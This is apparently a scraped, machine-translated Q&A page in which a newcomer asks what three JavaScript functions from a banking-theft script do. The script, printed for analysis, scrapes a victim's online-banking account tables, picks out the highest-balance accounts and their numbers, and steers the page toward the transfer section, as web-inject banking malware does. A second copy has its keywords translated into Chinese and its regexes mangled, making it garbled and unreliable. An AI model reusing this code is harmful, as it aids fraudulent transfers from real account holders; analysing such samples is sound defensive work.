Javascript 分析试图窃取银行帐户信息的JS代码
我是JS新手,尝试分析这段试图在客户端窃取银行帐户信息的长代码。除了这三个函数之外,我已经分析了大部分代码。我不清楚他们想做什么,但如果JS专家能指出确切的功能,那就太好了Javascript 分析试图窃取银行帐户信息的JS代码,javascript,html,analysis,Javascript,Html,Analysis,我是JS新手,尝试分析这段试图在客户端窃取银行帐户信息的长代码。除了这三个函数之外,我已经分析了大部分代码。我不清楚他们想做什么,但如果JS专家能指出确切的功能,那就太好了 function ParseAccount(a, b) { var c = null; var d = /<td[^>]*>(.*)<\/td>\r\n<td[^>]*>(\d+)<\/td>\r\n<td[^>]*><s
function ParseAccount(a, b) {
var c = null;
var d = /<td[^>]*>(.*)<\/td>\r\n<td[^>]*>(\d+)<\/td>\r\n<td[^>]*><span[^>]*>((?:[\d]+\.|)[\d]+(?!:,[\d]+)).*\r\n<td[^>]*>.
*<input[^>]*value=transfer[^>]*name=([^>]*)>.*<\/td>/i;
switch (a) {
case "info":
c = d.exec(b);
break;
default:
c = null;
break;
}
return c;
}
function GetAccounts() {
var a = new Array;
a[0] = h_account;
if (h_saccount != "") {
a[1] = h_saccount;
} else {
a[1] = "empty";
}
return a;
}
function CheckAccounts() {
$("table.tablegrund.tablegrund2").each(function (e) {$("table.tablegrund.tablegrund2:eq(" + e + ") tr").each(function (a) {var b = ParseAccount("info", $(this).html());if (null != b) {var c = b[3].split(",");var d = b[1].replace(/<[^>]*>/gi, "");c[0] = c[0].replace(".", "");if (parseInt(h_amount) < parseInt(c[0])) {h_amount = parseInt(c[0]);h_name = d;h_account = b[2];bigIndex = e;bigSubIndex = a;}}});$("table.tablegrund.tablegrund2:eq(" + e + ") tr").each(function (a) {var b = ParseAccount("info", $(this).html());if (null != b) {var c = b[3].split(",");var d = b[1].replace(/<[^>]*>/gi, "");c[0] = c[0].replace(".", "");if (parseInt(h_samount) < parseInt(c[0]) && parseInt(c[0]) != parseInt(h_amount)) {h_samount = parseInt(c[0]);h_sname = d;h_saccount = b[2];bigSecIndex = e;bigSecSubIndex = a;}}});});
if (parseInt(h_amount) > 0) {
var f = false;
$("ul.nav_unterthema a").each(function (a) {if ($(this).html().match(/Banking/i)) {$("#navigator").attr("src", $(this).attr("href"));}});
} else {
parent.ClosePageLoad();
}
}
$(document).ready(CheckSorting);
}
函数解析帐户(a、b){
var c=null;
变量d=/]*>(.*)\r\n]*>(\d+)\r\n]*>]*>((?:[\d]+\.\124;)[\ d]+(?!:,[\d]+).\r\n]*>。
*]*value=transfer[^>]*name=([^>]*)>.*/i;
开关(a){
案例“信息”:
c=d.exec(b);
打破
违约:
c=零;
打破
}
返回c;
}
函数GetAccounts(){
var a=新数组;
[0]=h_账户;
如果(h_saccount!=“”){
a[1]=h_saccount;
}否则{
a[1]=“空”;
}
返回a;
}
函数CheckAccounts(){
$(“table.tablegrund.tablegrund2”).each(函数(e){$(“table.tablegrund.tablegrund2:eq(“+e+”)tr”).each(函数(a){var b=ParseAccount(“info”),$(this.html());if(null!=b){var c=b[3]。split(,”;var d=b[1]。replace(/]*>/gi,”;c[0]=c[0]。replace(“,”);if(parseInt(h(h)amounth_name=d;h_account=b[2];bigIndex=e;bigSubIndex=a;}}}}}($table.tablegrund.tablegrund2:eq(“+e+”)tr”).each(函数a){var b=ParseAccount(“info”,$(this.html());if(null!=b){var c=b[3]。split(“,”;var d=b[1]。replace(/]*>/gi,”;c[0]=c[0]。replace(“,”);if(parseInt)0){
var f=假;
$(“ul.nav_unterhema a”).each(函数(a){if($(this.html().match(/Banking/i)){$(“#navigator”).attr(“src”),$(this.attr(“href”);});
}否则{
parent.ClosePageLoad();
}
}
$(文档).ready(检查排序);
}